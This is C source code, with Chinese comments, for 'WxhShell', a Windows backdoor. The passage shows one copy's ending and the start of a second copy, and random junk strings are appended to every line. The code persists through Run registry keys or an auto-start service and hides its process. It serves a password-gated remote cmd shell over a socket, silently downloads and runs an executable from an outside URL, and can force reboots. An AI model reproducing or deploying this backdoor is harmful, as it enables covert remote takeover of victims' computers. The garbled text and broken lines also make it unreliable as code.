    ExitThread(0); FX+;azE7  
    } 5v51:g>c  
    break; ![ & go  
    } bERYC|  
  // 关机 $S~e"ca1  
  case 'd': { jD@KG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JTH8vk:@  
    if(Boot(SHUTDOWN)) y#[PQ T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); obUX7N  
    else { i3T]<&+j5  
    closesocket(wsh); dW3q  
    ExitThread(0); 1aC ?*,e?  
    } zLQplw`#  
    break; F<'@T,LVc  
    } sq6|J])GgU  
  // 获取shell "xS?#^a  
  case 's': { m791w8Vr  
    CmdShell(wsh); X@$x(Zc  
    closesocket(wsh); %]/O0#E3Kz  
    ExitThread(0); AL #w  
    break; DL&\iR  
  } 9v_B$F$_T  
  // 退出 0E9LZOw4T  
  case 'x': { /IDfGAE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XWQp-H.  
    CloseIt(wsh); joa|5v'  
    break; : b^\O  
    } #q`-"2"|  
  // 离开 1:I47/  
  case 'q': { Z-(Vfp4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l`s_Id#  
    closesocket(wsh); 9Ra_[1  
    WSACleanup(); y99 3uP   
    exit(1); 16q"A$  
    break; 'Wv=mBEfZ  
        } Do3;-yp>`  
  } -\mbrbG9H  
  } 3c<). aC0f  
Y|bCbaF  
  // 提示信息 :-x F=Y(;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S<Zb>9pl  
} w!{g^*R+!  
  } v1 h*/#  
K8 Y/sHl  
  return; vas   
} Xj:?V;  
]d]tQPEU  
// shell模块句柄 D'y/ pv}!  
int CmdShell(SOCKET sock) 4zyy   
{ 2" (vjnfH  
STARTUPINFO si; ]-O/{FIv  
ZeroMemory(&si,sizeof(si)); F?]nPb|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ejYJOTT{^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ADoxma@  
PROCESS_INFORMATION ProcessInfo; oi4tj.!J  
char cmdline[]="cmd"; *c}MI e'&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qp>V\h\  
  return 0; ]$)J/L(p/]  
} Rn={:u4  
jBexEdH  
// 自身启动模式 bqmOfGM  
int StartFromService(void) {9wBb`.n^  
{ #8.%YG  
typedef struct Pyc/6~ ?  
{ I~lX53D  
  DWORD ExitStatus; ]m0MbA  
  DWORD PebBaseAddress; bg$df 0  
  DWORD AffinityMask; `.PZx%=  
  DWORD BasePriority; 't3/< h<  
  ULONG UniqueProcessId; v%t "N  
  ULONG InheritedFromUniqueProcessId; {3Z&C$:s  
}   PROCESS_BASIC_INFORMATION; 3RpDIl`0  
~Ein)5  
PROCNTQSIP NtQueryInformationProcess; U[5  
Z IfhC'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DJSSc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3DRXao  
{Z<4  
  HANDLE             hProcess; F5Tah{  
  PROCESS_BASIC_INFORMATION pbi; b?U!<s.  
%H\i}}PTe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LO8V*H(  
  if(NULL == hInst ) return 0; w]w>yD>$  
Lc;4 Hg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mVGQyX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jdxwS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B9;dX6c  
2[i:bksjW  
  if (!NtQueryInformationProcess) return 0; cPe0o'`[  
HpI[Af}l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mq@2zE`.(  
  if(!hProcess) return 0; @D%H-X  
< \]o#w*:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OF^v;4u  
X)iQ){21V  
  CloseHandle(hProcess); (xffU%C^  
_uL{@(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )+2GF0%  
if(hProcess==NULL) return 0; ?[Xv(60]  
j["b*X`8G  
HMODULE hMod; d[ql7  
char procName[255]; R[>fT}Lo  
unsigned long cbNeeded; !K;\{/8  
+5(#~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B5"(NJ;  
^]}UyrOn  
  CloseHandle(hProcess); fw@n[u{~  
[>xwwm  
if(strstr(procName,"services")) return 1; // 以服务启动 2<Lnfc<^k  
3A2X1V"  
  return 0; // 注册表启动 G" &9u2k  
} X $LX;Lv  
Y85M$]e,  
// 主模块 <^+~? KDZM  
int StartWxhshell(LPSTR lpCmdLine) f]H[uzsV  
{ iTi]D2jC  
  SOCKET wsl; `Y `Ujr\6  
BOOL val=TRUE; n2\;`9zm  
  int port=0; _SM5x,Zd  
  struct sockaddr_in door; [4'C4Zl  
(i4=}Kn2  
  if(wscfg.ws_autoins) Install(); .XR`iX Y  
&VtTUy}  
port=atoi(lpCmdLine); Uu xbN-u  
zk8 s?$  
if(port<=0) port=wscfg.ws_port; 1euL+zeh  
RYzDF+/  
  WSADATA data; D4%5T>^LW[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h?[3{Z^  
BE/#=$wPjM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [r%WVf.#d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qCg`"/0  
  door.sin_family = AF_INET; 24Lo .  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] fz0E:x  
  door.sin_port = htons(port); kxU <?0  
86!"b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7(B|NYq  
closesocket(wsl); Z+h^ ie"g  
return 1; /7#KkMg  
} `HXP*Bp#  
"2HSb5b"`  
  if(listen(wsl,2) == INVALID_SOCKET) { r jfcZ@  
closesocket(wsl); =pQA!u]QE  
return 1; *x3";%o  
} C YA#:  
  Wxhshell(wsl); 4G;FpWQm  
  WSACleanup(); [|PVq#(  
7:x%^J+  
return 0; B,?Fjot#m  
uKF?UXc  
} HlEp Dph%  
Eyu]0+  
// 以NT服务方式启动 "TB4w2?=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +-~hl  
{ ],vUW#6$N  
DWORD   status = 0; 6B 4Sd  
  DWORD   specificError = 0xfffffff; ^b=]=w  
9B &QY 2v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X^mv sY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c(jF^ 0~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d5$2*h{^v  
  serviceStatus.dwWin32ExitCode     = 0; 1(6B|w5+  
  serviceStatus.dwServiceSpecificExitCode = 0; 9 ! [oJ3  
  serviceStatus.dwCheckPoint       = 0; vUD,%@k9  
  serviceStatus.dwWaitHint       = 0; ~7aBli=  
~#3h-|]*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UO(B>Abp  
  if (hServiceStatusHandle==0) return; .U|e#t  
V {R<R2h1  
status = GetLastError(); g _fvbVX  
  if (status!=NO_ERROR) xo#&&/6  
{ oK1"8k|Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yGl (QLk  
    serviceStatus.dwCheckPoint       = 0; b5u_x_us|  
    serviceStatus.dwWaitHint       = 0; \q#s/&b   
    serviceStatus.dwWin32ExitCode     = status; z-(@j;.  
    serviceStatus.dwServiceSpecificExitCode = specificError; GFd~..$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .sNUU 3xSC  
    return; *xB9~:  
  } ~I<yN`5(a  
]Cd 1&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c|q!C0X[  
  serviceStatus.dwCheckPoint       = 0; @7 xb/&N  
  serviceStatus.dwWaitHint       = 0; IxC/X5Mp^q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (,$ H!qKy  
} seWYY $$  
c`~aiC`l  
// 处理NT服务事件,比如:启动、停止 x]umh{H~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O8+e: K[D  
{ h*2Q0GRX  
switch(fdwControl) IE*GF27n  
{ oL0Q%_9hW  
case SERVICE_CONTROL_STOP: X;ef&n`U0  
  serviceStatus.dwWin32ExitCode = 0; gzqx{ ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s6<`#KFAg  
  serviceStatus.dwCheckPoint   = 0; UEmNT9V  
  serviceStatus.dwWaitHint     = 0; S%n5,vwE  
  { (pXZ$R:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Isv@V.  
  } cQDn_Sjhi  
  return; rq'Cj<=Zj  
case SERVICE_CONTROL_PAUSE: fhqc[@Y[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iyNyj44 H  
  break; 6b+\2-eq  
case SERVICE_CONTROL_CONTINUE: .lrI|BH?z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W,Q"?(+]B  
  break; T-|SBNFw;  
case SERVICE_CONTROL_INTERROGATE: &$uQ$]&H  
  break; \eD#s  
}; 3c] oU1GfF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .zr2!}lB  
} \wRbhN  
CU)'x E  
// 标准应用程序主函数 =mV1jGqX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8XtZF,Du  
{ oeKI9p13\  
zp[Uh]-dMK  
// 获取操作系统版本 ^44AE5TO  
OsIsNt=GetOsVer(); =KJK'1m9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w^N xR,  
l +RT>jAmK  
  // 从命令行安装 J<dr x_gc  
  if(strpbrk(lpCmdLine,"iI")) Install(); -+4:} sD  
D-*`b&i48  
  // 下载执行文件 S8;Dk@rr(y  
if(wscfg.ws_downexe) { ") kE 1D%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) clK3kBh~&  
  WinExec(wscfg.ws_filenam,SW_HIDE); C!xqp   
} w^tNYN,i  
lC&U9=7W  
if(!OsIsNt) { $/ ;:Xb=q  
// 如果时win9x,隐藏进程并且设置为注册表启动 g[fCvWm#d  
HideProc(); [.;$6C/?  
StartWxhshell(lpCmdLine); f h05*]r  
} IT& U%hw  
else n1K"VjZk  
  if(StartFromService()) g(xuA^~J  
  // 以服务方式启动 cl4`FU  
  StartServiceCtrlDispatcher(DispatchTable); 5]cmDk  
else [?u iM^&  
  // 普通方式启动 , Zs:e.  
  StartWxhshell(lpCmdLine); GKdQ  
OI;0dS  
return 0; 1zNH[   
} # JHicx\8l  
zOA{S~>  
nWpqAb  
WCxt-+#  
=========================================== s,>_kxuX  
$I&DAGV0  
t4)~A5s  
vk\a>};  
hnha1 f  
7z!|sPW](b  
" Y$SZqW0!/  
ecIxiv\  
#include <stdio.h> PY=(|2tb4  
#include <string.h> =YlsJ={h  
#include <windows.h> #JVw`=P  
#include <winsock2.h> fiA_6  
#include <winsvc.h> BeZr5I"`}  
#include <urlmon.h> mk?&`_X1  
 B[jCe5!w  
#pragma comment (lib, "Ws2_32.lib") )G6{JL-I  
#pragma comment (lib, "urlmon.lib") UD1R _bL}  
~oO>6  
#define MAX_USER   100 // 最大客户端连接数 xaQ]Vjw  
#define BUF_SOCK   200 // sock buffer ("UcjB^62  
#define KEY_BUFF   255 // 输入 buffer "w ] Bq0  
R,[ dEP  
#define REBOOT     0   // 重启 $%!'c# F  
#define SHUTDOWN   1   // 关机 -'btKz*9  
(xw)pR  
#define DEF_PORT   5000 // 监听端口 8'J"+TsOW  
F?Cx"JYix  
#define REG_LEN     16   // 注册表键长度 _r+2o-ZR  
#define SVC_LEN     80   // NT服务名长度 $(pzh:|  
*gMo(-tN  
// 从dll定义API W0%cJ8~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <PL94  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SwHrHj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EJ7}h?a]U_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^eke,,~  
L+y}hb r  
// wxhshell配置信息 &P 'cf|KI  
struct WSCFG { (VeX[*}I  
  int ws_port;         // 监听端口 b4%sOn,  
  char ws_passstr[REG_LEN]; // 口令 u*:B 9E  
  int ws_autoins;       // 安装标记, 1=yes 0=no xgV. <^  
  char ws_regname[REG_LEN]; // 注册表键名 Z,AF^,H[  
  char ws_svcname[REG_LEN]; // 服务名 X5i?B b.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `l+{jrRb<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @-y.Y}k#$~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UMsJg7~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5tUp[/]pl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h^ wu8E   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >jxo,xz  
|r2 U4 ^  
};  ! K:  
e= $p(  
// default Wxhshell configuration x=(y  
struct WSCFG wscfg={DEF_PORT, ]hY'A>4Uq  
    "xuhuanlingzhe", gZbC[L  
    1, apsR26\^  
    "Wxhshell", LbX>@2(&  
    "Wxhshell", n[$bk_S  
            "WxhShell Service", ( <~  
    "Wrsky Windows CmdShell Service", 1#LXy%^tO  
    "Please Input Your Password: ", :l~^un|<2Y  
  1, 1#rcxUSi  
  "http://www.wrsky.com/wxhshell.exe", aH7i$U&  
  "Wxhshell.exe" 3ZRi@=kWz  
    }; x'dU[f(  
8Mx+tA  
// 消息定义模块 jI})\5<R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B!:%^S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mrpz(})  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -E, d)O`;$  
char *msg_ws_ext="\n\rExit."; f|U;4{ k  
char *msg_ws_end="\n\rQuit."; (bpO>4(S  
char *msg_ws_boot="\n\rReboot..."; d.wu   
char *msg_ws_poff="\n\rShutdown..."; oSd TQ$U!D  
char *msg_ws_down="\n\rSave to "; )UBU|uYR\  
 6/u]r  
char *msg_ws_err="\n\rErr!"; +XL^dzN[|$  
char *msg_ws_ok="\n\rOK!"; Da.eVU;  
/ =]h@m-`  
char ExeFile[MAX_PATH]; +fh@m h0[  
int nUser = 0; T!-*;yu  
HANDLE handles[MAX_USER]; S5o\joc  
int OsIsNt; .`./MRC  
7 'T3W c  
SERVICE_STATUS       serviceStatus; (i..7B:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ylFoYROO  
\gz(C`4{j  
// 函数声明 ..FEyf  
int Install(void); $7J9Yzp?L  
int Uninstall(void); 2HA-q),6  
int DownloadFile(char *sURL, SOCKET wsh); {owXyQ2mK  
int Boot(int flag); dJYsn+  
void HideProc(void); "AN*2)e4  
int GetOsVer(void); o2AfMSt.  
int Wxhshell(SOCKET wsl);  kwI[BF  
void TalkWithClient(void *cs); j!1 :+H_L  
int CmdShell(SOCKET sock); hA'i|;|ZYc  
int StartFromService(void); ^/'zU,  
int StartWxhshell(LPSTR lpCmdLine); 1 8*M  
*dmB Ji}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SX/ E@vYb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Os)jfKn2  
2A>s a3\  
// 数据结构和表定义 nZtMF%j'  
SERVICE_TABLE_ENTRY DispatchTable[] = e3o?=;  
{ *A<vrkHz  
{wscfg.ws_svcname, NTServiceMain}, \zCw&#D0Z  
{NULL, NULL} _E\Cm  
}; V{A_\  
E`0mn7.t  
// 自我安装 gc<w nm|  
int Install(void) B3AWJ1o  
{ /RG>n  
  char svExeFile[MAX_PATH]; ;?{[vLHDL  
  HKEY key; !841/TRb  
  strcpy(svExeFile,ExeFile); dG8_3T}i  
G 6r2 "  
// 如果是win9x系统,修改注册表设为自启动 Jy^.L$bt  
if(!OsIsNt) { .ei5+?V<i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <cof   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { l0[`"EF  
  RegCloseKey(key); :P'M|U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1hTE^\W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1]&FB{l  
  RegCloseKey(key); +,g3Xqs}X  
  return 0; Zk:Kux[7  
    } OrC}WMhd  
  } *JD-|m K  
} If>bE!_BO  
else { )44c[Z  
@PL.7FM<v  
// 如果是NT以上系统,安装为系统服务 M)qb6aD0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W(#u^,$e[  
if (schSCManager!=0) mz>GbImVD~  
{ 'w$jVX/  
  SC_HANDLE schService = CreateService FF5|qCV/z  
  ( IGnP#@`5]  
  schSCManager, 5eLm  
  wscfg.ws_svcname, SSQB1c  
  wscfg.ws_svcdisp, V|3^H^\5P  
  SERVICE_ALL_ACCESS, {P {h|+;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tr@|QNu  
  SERVICE_AUTO_START, wU}%]FqtZ=  
  SERVICE_ERROR_NORMAL, &7J-m4BI  
  svExeFile, %&iodo,EP'  
  NULL, S+ 3l X7  
  NULL, u7/]Go44  
  NULL, :pH3M[7  
  NULL, ]t"X~  
  NULL v ^R:XdH  
  ); "@^^niSFl  
  if (schService!=0) Ga]\~31NE  
  { f2LiCe.?  
  CloseServiceHandle(schService); M!Ua/g=u  
  CloseServiceHandle(schSCManager); 2MU$OI0|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p![UOI"W  
  strcat(svExeFile,wscfg.ws_svcname); w/f?KN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dW5@Z-9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y"  Ut  
  RegCloseKey(key); oQiRjDLx  
  return 0; &cp `? k  
    } J#?` l,  
  } *'cyFu$  
  CloseServiceHandle(schSCManager); jwL\|B oE  
} E[ttamU  
} HO_!/4hrU  
egmNX't6f5  
return 1; yZV Y3<]  
} =5;tB  
=E w<s5C@  
// 自我卸载 Qv W vS9]  
int Uninstall(void) ";U#aK1p  
{ o- v#Zl  
  HKEY key; X> T_Xc  
`iN H`:[w  
if(!OsIsNt) { lyD=n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U#G<cV79  
  RegDeleteValue(key,wscfg.ws_regname); _)S['[  
  RegCloseKey(key); ()Q#@?c~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %"Ia]0  
  RegDeleteValue(key,wscfg.ws_regname); (M2hK[  
  RegCloseKey(key); M?_7*o]!  
  return 0; 7n)ob![\d  
  } /!'Png0!  
} ,m Nd#  
} d{Cg3v`Rd  
else { Oz4vV_a&'  
0j :u.x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6rMXv0)  
if (schSCManager!=0) TWM^5 L:U  
{ W#@6e')d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j#jwK(:]  
  if (schService!=0) 7?;ZE:  
  { P0/Ctke;  
  if(DeleteService(schService)!=0) { 2YQ;Kh"S   
  CloseServiceHandle(schService); x=03 WQ8  
  CloseServiceHandle(schSCManager); t3b M4+n  
  return 0; t52KF#+>  
  } -EJj j {  
  CloseServiceHandle(schService); y(wb?86#W5  
  } H0f]Swh0a  
  CloseServiceHandle(schSCManager); tM|/OJ7  
} t)5.m}  
} if?X^j0  
e>m+@4*sn  
return 1; t$3B#=  
} wBJ|%mc3TA  
R"y xpw  
// 从指定url下载文件 ;$67GK  
int DownloadFile(char *sURL, SOCKET wsh) AqAL)`#K  
{ h0 Xc=nj  
  HRESULT hr; ? q_%  
char seps[]= "/"; A%cJ5dF8~  
char *token; UX'q64F!  
char *file; =$y;0]7Lwi  
char myURL[MAX_PATH]; H)h$@14xu  
char myFILE[MAX_PATH]; I7\T :Q[  
qe5;Pq !G  
strcpy(myURL,sURL); _^g4/G#13c  
  token=strtok(myURL,seps); IF  cre  
  while(token!=NULL) xn>N/+,  
  { M.\XG}RR  
    file=token; Y!`  pF  
  token=strtok(NULL,seps); jwg*\HO,s  
  } 6!HYx  
-,+~W#n  
GetCurrentDirectory(MAX_PATH,myFILE); }5;/!P_A  
strcat(myFILE, "\\"); &;bey4_J  
strcat(myFILE, file); ,9M2'6=  
  send(wsh,myFILE,strlen(myFILE),0); :Q,~Nw>  
send(wsh,"...",3,0); @?jbah#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;Y,zlq2  
  if(hr==S_OK) e8E'X  
return 0; XmaRg{22  
else icQQLSU5  
return 1; ($Op*bR  
1#*^+A E  
} B@@tKn_CQ  
=te4p@  
// 系统电源模块 di(H-=9G62  
int Boot(int flag) r0@s3/  
{ *&tTiv{^  
  HANDLE hToken; 3mHP=)  
  TOKEN_PRIVILEGES tkp; O)ose?Z  
AV4fN@BX  
  if(OsIsNt) { XSCcumde!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ M4m!;rM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M~h.M PI  
    tkp.PrivilegeCount = 1; A)gSOC{3F)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /'zXb_R,$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "sIww  
if(flag==REBOOT) { wwet90_g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gi>W&6  
  return 0; 0e07pF/!  
} (5A8#7a  
else { F-F1^$]k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H]W'mm  
  return 0; Ct^=j@g  
} ?LJiFG]^m  
  } x+TdTe;p  
  else { da~_(giD*  
if(flag==REBOOT) { G^cMY$?99  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &^w "  
  return 0; q{%~(A5*H  
} 1JJ1!& >  
else { $ce*W 9`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _#Lq~02 %  
  return 0; "%bU74>  
} t%O)Ti  
} jo1z#!|Yw}  
UCup {pDp  
return 1; \D};0#G0&  
} fq4uiFi<  
L& rtN@5;  
// win9x进程隐藏模块 DAg*  
void HideProc(void) orYZ<,u  
{ U<r!G;^`  
=.OzpV)=V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K}M lC}oIt  
  if ( hKernel != NULL ) ;" D~F  
  { +6}CNC9Mp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >|`1aCg,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :P ]D`b6p  
    FreeLibrary(hKernel); H}lz_#Z  
  } (>Nwd^  
E!.&y4  
return; db=S*LUbl  
} (74y2U6  
V2xvuDHI  
// 获取操作系统版本 BPl% SL  
int GetOsVer(void) "LH!Trl@k  
{ e2BC2K0  
  OSVERSIONINFO winfo; f`*VNB`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WgG$ r  
  GetVersionEx(&winfo); miTff[hsMa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I;1)a4Xc4R  
  return 1; 2ga8 G4dU  
  else _>aP5g?Ep  
  return 0; ~{);Ab.9+  
} -E3cS  
s|:1z"q  
// 客户端句柄模块 ,jtaTG.>  
int Wxhshell(SOCKET wsl) +Wgfxk'{  
{ \YFM5l;IU  
  SOCKET wsh; OHW|?hI=[  
  struct sockaddr_in client; ]5K(}95&'  
  DWORD myID; <`G-_VI  
+S+=lu _  
  while(nUser<MAX_USER) FC~%G&K/q^  
{ Xh}D_c  
  int nSize=sizeof(client); fYzP4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X$@qs9?)^  
  if(wsh==INVALID_SOCKET) return 1; Ryygq,>VD.  
)FmIL(vu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k.jBu  
if(handles[nUser]==0) 49<t2^1q  
  closesocket(wsh); )y Zr]  
else 6|{&7=1t  
  nUser++; yGSZ;BDW:K  
  } Gg]Jp:GF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %rgW}Z5  
=F Y2O`%a  
  return 0; pq\N 2d  
} ASrRMH[  
tl*h"du^  
// 关闭 socket 8h4]<T  
void CloseIt(SOCKET wsh) "nb.!OG~(  
{ ~R~.D  
closesocket(wsh); .p*?g;  
nUser--; {IvA 5^  
ExitThread(0); |Ldvfd  
} qX; F+~  
l(-"rE  
// 客户端请求句柄 `@WJ_-$#  
void TalkWithClient(void *cs) g]c6_DMfb1  
{ $o;c:Kh$$  
D^V)$ME  
  SOCKET wsh=(SOCKET)cs; j_~mP>el)  
  char pwd[SVC_LEN]; i7v =o#  
  char cmd[KEY_BUFF]; '?Q"[e  
char chr[1]; &['x+vL9  
int i,j; I}5e{jBB  
](8F]J ,  
  while (nUser < MAX_USER) { 1|!)*!hu  
%l#X6jkt  
if(wscfg.ws_passstr) { T9!NuKfur  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); om9'A=ZU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e=s85!  
  //ZeroMemory(pwd,KEY_BUFF); &zJ\D`\,O  
      i=0; dFhyT.Y?  
  while(i<SVC_LEN) { m[iQ7/  
md? cvGDE  
  // 设置超时 #qR6TM&;  
  fd_set FdRead; 5XzsqeG|  
  struct timeval TimeOut; l 9g  
  FD_ZERO(&FdRead); 'RF`XX  
  FD_SET(wsh,&FdRead); @V:Y%#%  
  TimeOut.tv_sec=8; z}.6yHS  
  TimeOut.tv_usec=0; Rm79mh9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Ah&|!/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2eeFaFif  
x Gbq,~_r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^,t@HN;gA  
  pwd=chr[0]; 6 >;OVX  
  if(chr[0]==0xd || chr[0]==0xa) { 0!KYi_3  
  pwd=0; W,[QK~  
  break; *)`PY4zF  
  } q# Q%p+  
  i++; 5G gH6   
    } ]4V1]  
,b IJW]h0  
  // 如果是非法用户,关闭 socket 3A[<LnKR^E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ' Q(kx*;  
} surNJ,)  
9wGsHf8]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X%&7-PO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /DyeMCY-  
V=th-o3[  
while(1) { FE^/us7r  
GG<0k\RN  
  ZeroMemory(cmd,KEY_BUFF); U{bv|vF  
&7>]# *  
      // 自动支持客户端 telnet标准   *| W*Mu  
  j=0; +F8K%.Q_  
  while(j<KEY_BUFF) { kaiK1/W0;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Skr0WQ  
  cmd[j]=chr[0]; Yt,MXm\  
  if(chr[0]==0xa || chr[0]==0xd) { ^Go,HiB  
  cmd[j]=0; W2fcY;HZ  
  break; XqUQ{^;aI  
  } XksI.]tfj  
  j++; v_pe=LC{-e  
    } +F60_O `  
.boB b<  
  // 下载文件 _G@Z n[v  
  if(strstr(cmd,"http://")) { 8 l)K3;q_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JhwHsx/  
  if(DownloadFile(cmd,wsh)) V_D wHq2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5, u| H  
  else Scm45"wB+  
